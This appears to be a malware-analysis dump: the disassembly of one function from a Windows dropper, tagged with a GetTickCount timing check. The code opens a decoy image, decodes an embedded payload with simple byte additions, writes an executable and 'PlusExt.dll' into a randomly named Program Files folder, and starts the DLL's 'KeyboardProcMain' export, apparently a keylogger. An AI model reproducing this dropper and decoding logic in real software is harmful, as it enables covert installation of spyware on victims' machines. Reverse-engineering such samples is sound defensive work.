Function at 0x40100a
Capabilities:
Check for time delay via gettickcount

Disassembly:
jmp 0x405c90
sub esp, 0xc44
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.kernel32.dll
call esi
mov dword [0x450454], eax
call fcn.0040117c
test eax, eax
jne 0x40603c
mov ecx, 0x40
lea edi, [esp + 0x351]
mov byte [esp + 0x350], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x350]
push eax
call fcn.00401244
mov ecx, dword [str.b_y4_]
mov dx, word [0x44b57c]
mov edi, eax
mov al, byte [0x44b57e]
mov dword [esp + 0x14], ecx
mov ecx, dword [str._r74_]
mov word [esp + 0x18], dx
mov dx, word [0x44b574]
mov byte [esp + 0x1a], al
mov al, byte [0x44b576]
push 0x200000
mov dword [esp + 0x20], ecx
mov word [esp + 0x24], dx
mov byte [esp + 0x26], al
call fcn.00407987
mov ebx, eax
push edi
push ebx
push 0x450350
call fcn.0040122b
mov ebp, eax
add esp, 0x14
test ebp, ebp
jne 0x405d4a
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc44
ret
push str.shell32.dll
call esi
push str.ShellExecuteA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x10]
push ebp
push ecx
push ebx
mov dword [esp + 0x30], eax
call fcn.00401181
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x20], eax
jne 0x405d86
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc44
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x855]
mov byte [esp + 0x854], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x455]
mov byte [esp + 0x454], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x149]
mov byte [esp + 0x148], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x24d]
mov byte [esp + 0x24c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
xor edx, edx
mov ecx, 0x15
div ecx
add edx, 0x61
push edx
call esi
xor edx, edx
mov ecx, 0x16
div ecx
add edx, 0x61
push edx
call esi
xor edx, edx
mov ecx, 0x19
div ecx
add edx, 0x61
push edx
call esi
xor edx, edx
mov ecx, 0x17
div ecx
add edx, 0x61
push edx
call esi
xor edx, edx
mov ecx, 0x18
div ecx
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
add edx, 0x41
push edx
lea edx, [esp + 0x58]
push str.c:Program_Files_C_c_c_c_c
push edx
call edi
mov eax, dword [str.TpKnrres.exe]
mov ecx, dword [0x44b520]
mov edx, dword [0x44b524]
mov dword [esp + 0x50], eax
mov al, byte [0x44b528]
mov dword [esp + 0x54], ecx
mov ecx, dword [str.PlusExt.dll]
add esp, 0x1c
mov dword [esp + 0x3c], edx
mov byte [esp + 0x40], al
mov edx, dword [0x44b510]
mov eax, dword [0x44b514]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call esi
lea ecx, [esp + 0x44]
push eax
push ecx
lea edx, [esp + 0x254]
push str._s_d.xml
push edx
call edi
mov eax, dword [0x450454]
add esp, 0x10
push str.CreateDirectoryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x44]
push 0
push ecx
call eax
call esi
lea edx, [esp + 0x44]
push eax
push edx
lea eax, [esp + 0x150]
push str._s_d.jpg
push eax
call edi
mov eax, dword [esp + 0x30]
mov ecx, ebp
sub ecx, eax
push 1
sub ecx, 6
lea edx, [eax + ebx + 6]
push ecx
lea eax, [esp + 0x160]
push edx
push eax
call fcn.00401078
add esp, 0x20
lea ecx, [esp + 0x148]
push 5
push 0
push 0
push ecx
push str.open
push 0
call dword [esp + 0x3c]
lea edx, [esp + 0x18]
push ebp
push edx
push ebx
call fcn.00401181
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
jne 0x405f5a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc44
ret
call fcn.0040107d
test eax, eax
je 0x40603c
sub ebp, esi
xor eax, eax
sub ebp, 0xc06
lea ebx, [esi + ebx + 6]
lea ecx, [ebp + 0xc00]
test ecx, ecx
jbe 0x405f99
mov edx, eax
and edx, 0x80000001
jns 0x405f8e
dec edx
or edx, 0xfffffffe
inc edx
je 0x405f94
add byte [eax + ebx], 0xf5
inc eax
cmp eax, ecx
jb 0x405f7f
xor eax, eax
test ecx, ecx
jbe 0x405fb9
mov edx, eax
and edx, 0x80000001
jns 0x405fae
dec edx
or edx, 0xfffffffe
inc edx
jne 0x405fb4
add byte [eax + ebx], 0x2e
inc eax
cmp eax, ecx
jb 0x405f9f
lea eax, [esp + 0x28]
lea ecx, [esp + 0x44]
push eax
push ecx
lea edx, [esp + 0x45c]
push str._s_s
push edx
call edi
push 2
push ebp
lea eax, [esp + 0x46c]
push ebx
push eax
call fcn.00401078
add esp, 0x20
test eax, eax
je 0x40603c
push 3
add ebp, ebx
push 0xc00
lea ecx, [esp + 0x254]
push ebp
push ecx
call fcn.00401078
add esp, 0x10
test eax, eax
je 0x40603c
lea edx, [esp + 0x454]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40603c
push str.KeyboardProcMain
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
push 0
push 0
push 0
call eax
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc44
ret